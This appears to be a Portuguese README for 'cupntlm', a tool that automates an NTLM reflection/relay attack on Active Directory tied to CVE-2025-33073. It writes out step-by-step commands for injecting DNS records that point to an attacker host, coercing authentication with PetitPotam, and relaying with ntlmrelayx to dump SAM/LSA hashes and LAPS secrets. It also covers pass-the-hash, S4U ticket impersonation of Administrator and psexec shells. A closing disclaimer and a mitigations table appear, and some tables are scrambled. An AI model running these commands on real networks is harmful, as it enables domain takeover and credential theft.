
cupntlm
CVE-2025-33073 — Bypass de Reflexão NTLM via Coerção DNS
Ferramenta automatizada de exploração para ambientes Active Directory.
cupntlm automatiza a cadeia de ataque de reflexão/retransmissão NTLM que abusa da CVE-2025-33073. Ela combina injeção de registros DNS, coerção de autenticação forçada (PetitPotam) e retransmissão NTLM em um único fluxo de trabalho. A ferramenta suporta dois modos operacionais dependendo do escopo e dos requisitos de furtividade.
Atacante Controlador de Domínio Host Alvo
│ │ │
│── 1. Injetar registro DNS ────▶│ │
│ (IP do atacante como alvo)│ │
│ │ │
│── 2. Coagir autenticação (PetitPotam) ─────────────────────▶│
│ │ │
│◀─ 3. Autenticação NTLM retransmitida ──────────────────────│
│ │ │
│── 4. Retransmitir para DC ─────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
Pré-requisitos na rede alvo:
| Biblioteca | Instalação |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # do impacket
├── dnstool.py # do krbrelayx
├── lib/ # biblioteca de suporte krbrelayx
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
Verifica o status de assinatura SMB nos alvos e valida as credenciais de domínio antes de tentar qualquer coisa.
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
Cria um registro DNS único para cada alvo, aciona a coerção um por um e limpa os registros entre as iterações. Mais lento, mas mais preciso e deixa menos ruído.
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
Injeta um único registro DNS e mantém o ntlmrelayx em execução contínua enquanto itera por todos os alvos. Mais rápido para grandes escopos.
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
As etapas a seguir reproduzem toda a cadeia de ataque manualmente sem usar cupntlm.py. Útil para entender os primitivos, depurar ou adaptar a ambientes não padronizados.
Identifique hosts onde a assinatura SMB está desabilitada. Estes são seus alvos válidos para retransmissão.
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
Ou com nmap:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
Procure por:
Message signing enabled but not required ← alvo válido para retransmissão
Message signing enabled and required ← não é possível retransmitir aqui
Use dnstool.py para adicionar um registro A no DNS do domínio que aponte um nome de host para sua máquina. Quando um alvo resolver este nome de host e autenticar, a requisição cairá no seu ouvinte de retransmissão.
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # seu IP de atacante
--type A \
10.0.0.1 # IP do DC
Verifique se o registro foi adicionado:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
Inicie o ntlmrelayx.py antes de acionar a coerção. Ele ficará aguardando a autenticação recebida.
Retransmitir para SMB — extrair SAM/LSA:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
Retransmitir para LDAP — criar uma nova conta de máquina (para RBCD / shadow credentials):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
Retransmitir para LDAPS — extrair segredos do domínio:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
Acione a máquina alvo para autenticar externamente para o registro DNS injetado. PetitPotam abusa da interface MS-EFSRPC — sem necessidade de credenciais em hosts não corrigidos, ou use credenciais válidas para os corrigidos.
Não autenticado (alvo não corrigido):
python3 PetitPotam.py \
[dnsname] \ # IP do seu ouvinte (combina com o registro DNS)
192.168.1.50 # host alvo a coagir
Autenticado (alvo corrigido, credenciais válidas necessárias):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
Neste ponto, o host coagido envia sua autenticação NTLM para sua máquina → ntlmrelayx captura e retransmite.
Dependendo do destino da retransmissão escolhido na Etapa 3:
<hostname>_samhashes.txt / _lsahashes.txtgetST.py para um ticket de serviçoSempre remova os registros DNS injetados após o engajamento.
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
Pass-the-hash com uma conta de máquina retransmitida:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
Obter um ticket de serviço para S4U2Self (após RBCD):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
Usar o ticket:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| Controle | Efeito |
|---|---|
Esta ferramenta é destinada exclusivamente a testes de penetração autorizados e pesquisa de segurança.
Não use contra sistemas para os quais você não tenha permissão explícita por escrito para testar.
| Ferramenta | Propósito |
|---|
python3 | Runtime |
pip3 | Gerenciador de pacotes Python |
git | Clonar dependências |
wget | Baixar arquivos |
nmap | Enumeração de assinatura SMB |
netexec / crackmapexec | Verificação de assinatura SMB (opcional) |
pip3 install dnspython --break-system-packages| Ativar assinatura SMB (obrigatória) em todos os hosts |
| Quebra retransmissão para SMB |
| Ativar assinatura LDAP + vinculação de canal | Quebra retransmissão para LDAP/LDAPS |
| Corrigir MS-EFSRPC (KB5005413) | Bloqueia PetitPotam não autenticado |
| Restringir criação de registros DNS a administradores | Bloqueia a etapa de injeção DNS |
| Desabilitar autenticação de rede NTLM (preferir Kerberos) | Elimina toda a classe |